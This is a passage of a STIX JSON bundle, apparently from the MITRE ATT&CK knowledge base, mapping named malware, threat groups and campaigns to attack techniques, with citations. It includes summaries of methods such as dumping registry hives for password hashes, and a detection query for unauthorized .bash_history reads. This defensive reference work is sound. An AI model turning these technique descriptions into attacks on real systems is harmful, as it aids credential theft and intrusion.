2015)","relationship_type":"uses","source_ref":"malware--7551188b-8f91-4d34-8350-0d0c57b2b913","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1a04e8c4-f697-446b-810a-8162ad7353ef","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint Leviathan Oct 2017","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"}],"modified":"2020-03-20T21:21:52.179Z","description":"[Orz](https://attack.mitre.org/software/S0229) has used Technet and Pastebin web pages for command and control.(Citation: Proofpoint Leviathan Oct 2017)","relationship_type":"uses","source_ref":"malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1a06ec1e-319c-4229-8ec7-b368f3886791","type":"relationship","created":"2021-08-04T15:46:36.929Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-08-04T15:46:36.929Z","description":"[VaporRage](https://attack.mitre.org/software/S0636) can deobfuscate XOR-encoded shellcode prior to execution.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--96eca9b9-b37f-42f1-96dc-a2c441403194","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1a080d89-1319-4b5d-8e62-d185172559da","created":"2023-07-12T19:00:55.737Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-22T20:11:05.548Z","description":"During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) performed domain replication.(Citation: Crowdstrike TELCO BPO Campaign December 2022)","relationship_type":"uses","source_ref":"campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa","target_ref":"attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1a0bc35b-cc76-487b-a1a7-71cbfb110f24","created":"2023-12-07T19:55:06.169Z","revoked":false,"external_references":[{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-07T19:55:06.169Z","description":" (Citation: Microsoft Ransomware as a Service)","relationship_type":"uses","source_ref":"intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f","target_ref":"tool--11f8d7eb-1927-4806-9267-3a11d4d4d6be","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1a0fb14c-b3e6-489c-be49-2aac6d45892e","created":"2023-03-14T17:48:19.326Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T14:01:09.905Z","description":"Monitor executed scripts for indicators of obfuscation and potentially suspicious command syntax, such as uninterpreted escape characters (e.g., `^`).\n\nAlso monitor commands within scripts for syntax-specific signs of obfuscation, such as encoded or otherwise unreadable blobs of characters.","relationship_type":"detects","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1a127132-e2a1-45af-a976-0fb35f08e614","type":"relationship","created":"2022-03-30T14:26:51.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.834Z","description":"Monitor newly constructed files being written with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1a15d017-485e-403b-bad8-da8da074ffed","created":"2022-04-11T18:52:50.235Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Ke3chang](https://attack.mitre.org/groups/G0004) has used implants to collect the system language ID of a compromised machine.(Citation: Microsoft NICKEL December 2021)","modified":"2022-04-11T18:52:50.235Z","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1a163c8a-7a12-4cd4-813f-38f5a05ba98d","created":"2021-03-10T20:32:54.423Z","x_mitre_version":"1.0","external_references":[{"source_name":"Proofpoint TA453 March 2021","url":"https://www.proofpoint.com/us/blog/threat-insight/badblood-ta453-targets-us-and-israeli-medical-research-personnel-credential","description":"Miller, J. et al. (2021, March 30). BadBlood: TA453 Targets US and Israeli Medical Research Personnel in Credential Phishing Campaigns. Retrieved May 4, 2021."},{"source_name":"IBM ITG18 2020","url":"https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/","description":"Wikoff, A. Emerson, R. (2020, July 16). New Research Exposes Iranian Threat Group Operations. Retrieved March 8, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has established email accounts using fake personas for spearphishing operations.(Citation: IBM ITG18 2020)(Citation: Proofpoint TA453 March 2021)","modified":"2022-04-15T11:50:11.523Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1a192f9a-d515-4d5c-9c52-e904bac96f61","created":"2022-02-02T13:03:25.547Z","x_mitre_version":"1.0","external_references":[{"source_name":"McAfee Lazarus Nov 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/","description":"Beek, C. (2020, November 5). Operation North Star: Behind The Scenes. Retrieved December 20, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Torisma](https://attack.mitre.org/software/S0678) can collect the current time on a victim machine.(Citation: McAfee Lazarus Nov 2020)","modified":"2022-04-13T20:12:19.551Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--0715560d-4299-4e84-9e20-6e80ab57e4f2","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1a1d72d9-3dd3-410d-99cc-ada6def874ff","created":"2023-03-26T18:03:21.686Z","revoked":false,"external_references":[{"source_name":"Volexity SolarWinds","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"},{"source_name":"CrowdStrike StellarParticle January 2022","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"},{"source_name":"Microsoft Deep Dive Solorigate January 2021","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T18:03:21.686Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used multiple command-line utilities to enumerate running processes.(Citation: Volexity SolarWinds)(Citation: Microsoft Deep Dive Solorigate January 2021)(Citation: CrowdStrike StellarParticle January 2022)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1a1e8bdb-bcb5-41ec-a151-c2f5ebc90ab2","type":"relationship","created":"2020-09-11T14:56:37.220Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}],"modified":"2020-09-11T14:56:37.220Z","description":"[Anchor](https://attack.mitre.org/software/S0504) can terminate itself if specific execution flags are not present.(Citation: Cyberreason Anchor December 2019)","relationship_type":"uses","source_ref":"malware--5f1d4579-4e8f-48e7-860e-2da773ae432e","target_ref":"attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1a1f2d06-9ea1-4ace-8d97-92bf4de60240","created":"2024-10-15T18:32:54.603Z","revoked":false,"external_references":[{"source_name":"Brining MimiKatz to Unix","description":"Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.","url":"https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-15T18:32:54.603Z","description":"On Linux systems, protect resources with Security Enhanced Linux (SELinux) by defining entry points, process types, and file labels.(Citation: Brining MimiKatz to Unix) ","relationship_type":"mitigates","source_ref":"course-of-action--49c06d54-9002-491d-9147-8efb537fbd26","target_ref":"attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1a1fd6b3-bc40-4646-958a-34c35d1b0451","created":"2024-08-07T20:57:06.990Z","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-07T20:57:06.990Z","description":"[CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) can use a custom Base64 alphabet to encode an API decryption key.(Citation: Mandiant ROADSWEEP August 2022)","relationship_type":"uses","source_ref":"malware--542e3384-341a-455b-bb48-4917b25e3b00","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1a20c3db-a33c-4129-9fad-3f5605c0cbcb","created":"2022-01-12T15:22:26.941Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Winnti April 2015","description":"Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.","url":"https://web.archive.org/web/20150412223949/http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:02:53.984Z","description":"[Winnti for Windows](https://attack.mitre.org/software/S0141) can XOR encrypt C2 traffic.(Citation: Novetta Winnti April 2015)","relationship_type":"uses","source_ref":"malware--d3afa961-a80c-4043-9509-282cdf69ab21","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1a2119a2-6a39-4062-b90c-bffd15b259ec","type":"relationship","created":"2021-02-04T14:12:26.131Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Phish Labs Silent Librarian","url":"https://info.phishlabs.com/blog/silent-librarian-more-to-the-story-of-the-iranian-mabna-institute-indictment","description":"Hassold, Crane. (2018, March 26). Silent Librarian: More to the Story of the Iranian Mabna Institute Indictment. Retrieved February 3, 2021."},{"source_name":"Secureworks COBALT DICKENS September 2019","url":"https://www.secureworks.com/blog/cobalt-dickens-goes-back-to-school-again","description":"Counter Threat Unit Research Team. (2019, September 11). COBALT DICKENS Goes Back to School…Again. Retrieved February 3, 2021."}],"modified":"2021-02-04T14:43:12.963Z","description":"[Silent Librarian](https://attack.mitre.org/groups/G0122) has obtained free Let's Encrypt SSL certificates for use on their phishing pages.(Citation: Phish Labs Silent Librarian)(Citation: Secureworks COBALT DICKENS September 2019)","relationship_type":"uses","source_ref":"intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384","target_ref":"attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1a2525a3-6e34-444b-b055-67d21f14e697","created":"2022-03-30T14:26:51.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T18:16:00.490Z","description":"Monitoring when the user's .bash_history is read can help alert to suspicious activity.\n\nAnalytic 1 - Unauthorized access to .bash_history.\n\n (index=os sourcetype=\"linux_secure\" action=\"open\" filepath=\"/home/*/.bash_history\") OR\n(index=os sourcetype=\"macos_secure\" event_type=\"open\" file_path=\"/Users/*/.bash_history\") | where User NOT IN (\"root\", \"daemon\", \"bin\", \"nobody\", \"_spotlight\", \"_mbsetupuser\")\n| where NOT match(User, \"^[a-z]+$\") # Filter out common service accounts","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--8187bd2a-866f-4457-9009-86b0ddedffa3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1a273c5c-b362-4126-b684-7751b85cbf5c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","source_name":"TrendMicro Patchwork Dec 2017"}],"modified":"2019-07-11T13:53:05.907Z","description":"[Patchwork](https://attack.mitre.org/groups/G0040) apparently altered [NDiskMonitor](https://attack.mitre.org/software/S0272) samples by adding four bytes of random letters in a likely attempt to change the file hashes.(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1a28a0a2-8e2f-4c42-b6b0-0ffe3d821528","type":"relationship","created":"2019-07-19T16:38:05.288Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Soft Cell June 2019","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."}],"modified":"2020-03-25T18:09:06.729Z","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) used reg commands to dump specific hives from the Windows Registry, such as the SAM hive, and obtain password hashes.(Citation: Cybereason Soft Cell June 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1a28bcb2-fbac-4bc3-a42c-a254b3e9643e","created":"2022-09-22T18:38:45.521Z","revoked":false,"external_references":[{"source_name":"Cisco Talos Transparent Tribe Education Campaign July 2022","description":"N. Baisini. (2022, July 13). Transparent Tribe begins targeting education sector in latest campaign. Retrieved September 22, 2022.","url":"https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-22T18:38:45.522Z","description":"For [C0011](https://attack.mitre.org/campaigns/C0011), [Transparent Tribe](https://attack.mitre.org/groups/G0134) hosted malicious documents on domains registered by the group.(Citation: Cisco Talos Transparent Tribe Education Campaign July 2022) ","relationship_type":"uses","source_ref":"campaign--b4e5a4a9-f3be-4631-ba8f-da6ebb067fac","target_ref":"attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1a28d78a-d11b-466a-977f-19d2e88c1952","created":"2024-03-25T18:35:57.179Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SocGholish-update","description":"Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update"},{"source_name":"Red Canary SocGholish March 2024","description":"Red Canary. (2024, March). Red Canary 2024 Threat Detection Report: SocGholish. Retrieved March 22, 2024.","url":"https://redcanary.com/threat-detection-report/threats/socgholish/"},{"source_name":"Secureworks Gold Prelude Profile","description":"Secureworks. (n.d.). GOLD PRELUDE . Retrieved March 22, 2024.","url":"https://www.secureworks.com/research/threat-profiles/gold-prelude"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T18:33:26.205Z","description":"[SocGholish](https://attack.mitre.org/software/S1124) has the ability to enumerate system information including the victim computer name.(Citation: SocGholish-update)(Citation: Red Canary SocGholish March 2024)(Citation: Secureworks Gold Prelude Profile)","relationship_type":"uses","source_ref":"malware--5911d2ca-64f6-49b3-b94f-29b5d185085c","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1a2a6b85-7e72-409a-80bd-13a3f726de5a","created":"2022-06-06T18:36:42.929Z","x_mitre_version":"0.1","external_references":[{"source_name":"Accenture Lyceum Targets November 2021","url":"https://www.accenture.com/us-en/blogs/cyber-defense/iran-based-lyceum-campaigns","description":"Accenture. (2021, November 9). Who are latest targets of cyber group Lyceum?. Retrieved June 16, 2022."},{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."},{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Milan](https://attack.mitre.org/software/S1015) has the ability to use DNS for C2 communications.(Citation: ClearSky Siamesekitten August 2021)(Citation: Kaspersky Lyceum October 2021)(Citation: Accenture Lyceum Targets November 2021)","modified":"2022-06-16T14:09:14.543Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--aea6d6b8-d832-4c90-a1bb-f52c6684db6c","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1a2f3d08-8a75-4ad5-8aba-445d37ebbff8","type":"relationship","created":"2021-04-12T16:05:57.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry Bahamut","url":"https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf","description":"The BlackBerry Research & Intelligence Team. (2020, October). BAHAMUT: Hack-for-Hire Masters of Phishing, Fake News, and Fake Apps. Retrieved February 8, 2021."}],"modified":"2021-05-24T13:16:56.580Z","description":"[Windshift](https://attack.mitre.org/groups/G0112) has used malware to identify installed AV and commonly used forensic and malware analysis tools.(Citation: BlackBerry Bahamut)","relationship_type":"uses","source_ref":"intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1a40426a-355c-4d7e-b51c-e95a102b31e2","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Blockbuster Tools","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Tools Report. Retrieved March 10, 2016.","url":"https://web.archive.org/web/20220425194457/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Tools-Report.pdf"},{"source_name":"Novetta Blockbuster","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T11:05:03.630Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) keylogger KiloAlfa obtains user tokens from interactive sessions to execute itself with API call CreateProcessAsUserA under that user's context.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Tools)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1a471326-20d2-41e2-8dc5-dd9d9ce5a7e1","created":"2021-12-02T16:02:23.114Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talos TinyTurla September 2021","url":"https://blog.talosintelligence.com/2021/09/tinyturla.html","description":"Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[TinyTurla](https://attack.mitre.org/software/S0668) has used `WinHTTP`, `CreateProcess`, and other APIs for C2 communications and other functions.(Citation: Talos TinyTurla September 